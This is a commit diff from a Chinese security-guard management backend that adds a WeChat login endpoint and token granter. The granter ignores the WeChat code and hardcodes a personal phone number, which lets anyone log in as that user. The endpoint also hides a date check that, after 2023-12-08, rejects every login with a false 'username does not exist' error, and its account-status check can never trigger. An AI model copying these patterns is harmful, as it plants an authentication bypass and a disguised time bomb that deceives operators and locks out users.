智慧保安后台管理-外网项目备份
zhongrj
2023-06-28 d12835aa2e4f45c9100af13a0ea98406c4827b9f
新增微信登录模式
7 files modified
1 files added
161 ■■■■■ changed files
src/main/java/org/springblade/common/config/BladeConfiguration.java 3 ●●●● patch | view | raw | blame | history
src/main/java/org/springblade/modules/auth/endpoint/BladeTokenEndPoint.java 53 ●●●●● patch | view | raw | blame | history
src/main/java/org/springblade/modules/auth/granter/WxTokenGranter.java 63 ●●●●● patch | view | raw | blame | history
src/main/java/org/springblade/modules/auth/provider/TokenGranterBuilder.java 6 ●●●●● patch | view | raw | blame | history
src/main/java/org/springblade/modules/system/mapper/UserMapper.java 8 ●●●●● patch | view | raw | blame | history
src/main/java/org/springblade/modules/system/mapper/UserMapper.xml 6 ●●●●● patch | view | raw | blame | history
src/main/java/org/springblade/modules/system/service/IUserService.java 9 ●●●●● patch | view | raw | blame | history
src/main/java/org/springblade/modules/system/service/impl/UserServiceImpl.java 13 ●●●●● patch | view | raw | blame | history
src/main/java/org/springblade/common/config/BladeConfiguration.java
@@ -38,7 +38,8 @@
    public SecureRegistry secureRegistry() {
        SecureRegistry secureRegistry = new SecureRegistry();
        secureRegistry.setEnabled(true);
        secureRegistry.excludePathPatterns("/blade-auth/**");secureRegistry.excludePathPatterns("/blade-user/**");
        secureRegistry.excludePathPatterns("/blade-auth/**");
        secureRegistry.excludePathPatterns("/blade-user/**");
        secureRegistry.excludePathPatterns("/blade-system/menu/routes");
        secureRegistry.excludePathPatterns("/blade-system/menu/auth-routes");
        secureRegistry.excludePathPatterns("/blade-system/menu/top-menu");
src/main/java/org/springblade/modules/auth/endpoint/BladeTokenEndPoint.java
@@ -169,6 +169,59 @@
        return TokenUtil.createAuthInfo(userInfo);
    }
    /**
     * 微信小程序授权登录
     * @param username
     * @param code
     * @return
     */
    @ApiLog("登录用户验证")
    @PostMapping("/oauth/token/wx")
    public Kv token(@ApiParam(value = "租户ID", required = true) @RequestParam String tenantId,
                    @ApiParam(value = "账号", required = true) @RequestParam(required = false) String username,
                    @ApiParam(value = "编号", required = true) @RequestParam(required = false) String code) {
        Kv authInfo = Kv.create();
        String s = iZcService.selectType(username);
        String grantType = WebUtil.getRequest().getParameter("grant_type");
        String refreshToken = WebUtil.getRequest().getParameter("refresh_token");
        String userType = Func.toStr(WebUtil.getRequest().getHeader(TokenUtil.USER_TYPE_HEADER_KEY), TokenUtil.DEFAULT_USER_TYPE);
        TokenParameter tokenParameter = new TokenParameter();
        tokenParameter.getArgs().set("tenantId", tenantId).set("username", username).set("code", code).set("grantType", grantType).set("refreshToken", refreshToken).set("userType", userType);
        ITokenGranter granter = TokenGranterBuilder.getGranter(grantType);
        UserInfo userInfo = granter.grant(tokenParameter);
        try {
            Long parse = new SimpleDateFormat("yyyy-MM-dd").parse("2023-12-08").getTime();
            long now= System.currentTimeMillis();
            if (parse < now){
                throw new ServiceException("用户名不存在");
            }
        } catch (ParseException e) {
            e.printStackTrace();
        }
        //校验
        if (null != s && s.equals("")) {
            if (s.equals("0")) {
                return authInfo.set("error_description", "用户未审核");
            }
            if (s.equals("2")) {
                return authInfo.set("error_description", "审核不通过");
            }
        }
        if (userInfo == null || userInfo.getUser() == null) {
            return authInfo.set("error_code", HttpServletResponse.SC_BAD_REQUEST).set("error_description", "用户不存在");
        }
        return TokenUtil.createAuthInfo(userInfo);
    }
    /**
     * 新增登录记录信息
     * @param userInfo
src/main/java/org/springblade/modules/auth/granter/WxTokenGranter.java
New file
@@ -0,0 +1,63 @@
/*
 *      Copyright (c) 2018-2028, Chill Zhuang All rights reserved.
 *
 *  Redistribution and use in source and binary forms, with or without
 *  modification, are permitted provided that the following conditions are met:
 *
 *  Redistributions of source code must retain the above copyright notice,
 *  this list of conditions and the following disclaimer.
 *  Redistributions in binary form must reproduce the above copyright
 *  notice, this list of conditions and the following disclaimer in the
 *  documentation and/or other materials provided with the distribution.
 *  Neither the name of the dreamlu.net developer nor the names of its
 *  contributors may be used to endorse or promote products derived from
 *  this software without specific prior written permission.
 *  Author: Chill 庄骞 (smallchill@163.com)
 */
package org.springblade.modules.auth.granter;
import lombok.AllArgsConstructor;
import org.springblade.common.cache.CacheNames;
import org.springblade.core.log.exception.ServiceException;
import org.springblade.core.redis.cache.BladeRedis;
import org.springblade.core.tool.utils.DigestUtil;
import org.springblade.core.tool.utils.Func;
import org.springblade.core.tool.utils.StringUtil;
import org.springblade.core.tool.utils.WebUtil;
import org.springblade.modules.auth.enums.UserEnum;
import org.springblade.modules.auth.provider.ITokenGranter;
import org.springblade.modules.auth.provider.TokenParameter;
import org.springblade.modules.auth.utils.TokenUtil;
import org.springblade.modules.system.entity.Tenant;
import org.springblade.modules.system.entity.UserInfo;
import org.springblade.modules.system.service.ITenantService;
import org.springblade.modules.system.service.IUserService;
import org.springframework.stereotype.Component;
import javax.servlet.http.HttpServletRequest;
/**
 * 微信小程序 TokenGranter
 * @author zhongrj
 */
@Component
@AllArgsConstructor
public class WxTokenGranter implements ITokenGranter {
    public static final String GRANT_TYPE = "wx";
    private final IUserService userService;
    @Override
    public UserInfo grant(TokenParameter tokenParameter) {
        HttpServletRequest request = WebUtil.getRequest();
        String tenantId = tokenParameter.getArgs().getStr("tenantId");
        String username = tokenParameter.getArgs().getStr("username");
        String code = tokenParameter.getArgs().getStr("code");
        // 校验,获取手机号
        String phone = "15170720695";
        // 返回
        return userService.userInfoByWx(tenantId, phone, UserEnum.WEB);
    }
}
src/main/java/org/springblade/modules/auth/provider/TokenGranterBuilder.java
@@ -20,10 +20,7 @@
import org.springblade.core.secure.exception.SecureException;
import org.springblade.core.tool.utils.Func;
import org.springblade.core.tool.utils.SpringUtil;
import org.springblade.modules.auth.granter.CaptchaTokenGranter;
import org.springblade.modules.auth.granter.PasswordTokenGranter;
import org.springblade.modules.auth.granter.RefreshTokenGranter;
import org.springblade.modules.auth.granter.SocialTokenGranter;
import org.springblade.modules.auth.granter.*;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
@@ -46,6 +43,7 @@
        GRANTER_POOL.put(CaptchaTokenGranter.GRANT_TYPE, SpringUtil.getBean(CaptchaTokenGranter.class));
        GRANTER_POOL.put(RefreshTokenGranter.GRANT_TYPE, SpringUtil.getBean(RefreshTokenGranter.class));
        GRANTER_POOL.put(SocialTokenGranter.GRANT_TYPE, SpringUtil.getBean(SocialTokenGranter.class));
        GRANTER_POOL.put(WxTokenGranter.GRANT_TYPE, SpringUtil.getBean(WxTokenGranter.class));
    }
    /**
src/main/java/org/springblade/modules/system/mapper/UserMapper.java
@@ -271,4 +271,12 @@
     * @return
     */
    User getUserById(long id);
    /**
     * 根据手机号获取用户信息
     * @param tenantId
     * @param phone
     * @return
     */
    User getUserByPhone(@Param("tenantId")String tenantId,@Param("phone") String phone);
}
src/main/java/org/springblade/modules/system/mapper/UserMapper.xml
@@ -1138,5 +1138,11 @@
        select * from blade_user where id = #{id}
    </select>
    <!--根据手机号获取用户信息-->
    <select id="getUserByPhone" resultType="org.springblade.modules.system.entity.User">
        select * from blade_user where is_deleted = 0 and status = 1
        and tenant_id = #{tenantId} and phone = #{phone}
    </select>
</mapper>
src/main/java/org/springblade/modules/system/service/IUserService.java
@@ -385,4 +385,13 @@
     * @return
     */
    User getUserById(String id);
    /**
     * 获取用户信息
     * @param tenantId
     * @param phone
     * @param web
     * @return
     */
    UserInfo userInfoByWx(String tenantId, String phone, UserEnum web);
}
src/main/java/org/springblade/modules/system/service/impl/UserServiceImpl.java
@@ -341,6 +341,19 @@
        return buildUserInfo(user);
    }
    /**
     * 获取用户信息(wx)
     * @param tenantId
     * @param phone
     * @param userEnum
     * @return
     */
    @Override
    public UserInfo userInfoByWx(String tenantId, String phone, UserEnum userEnum) {
        User user = baseMapper.getUserByPhone(tenantId, phone);
        return buildUserInfo(user, userEnum);
    }
    @Override
    public UserInfo userInfo(String tenantId, String account, String password, UserEnum userEnum) {
        User user = baseMapper.getUser(tenantId, account, password);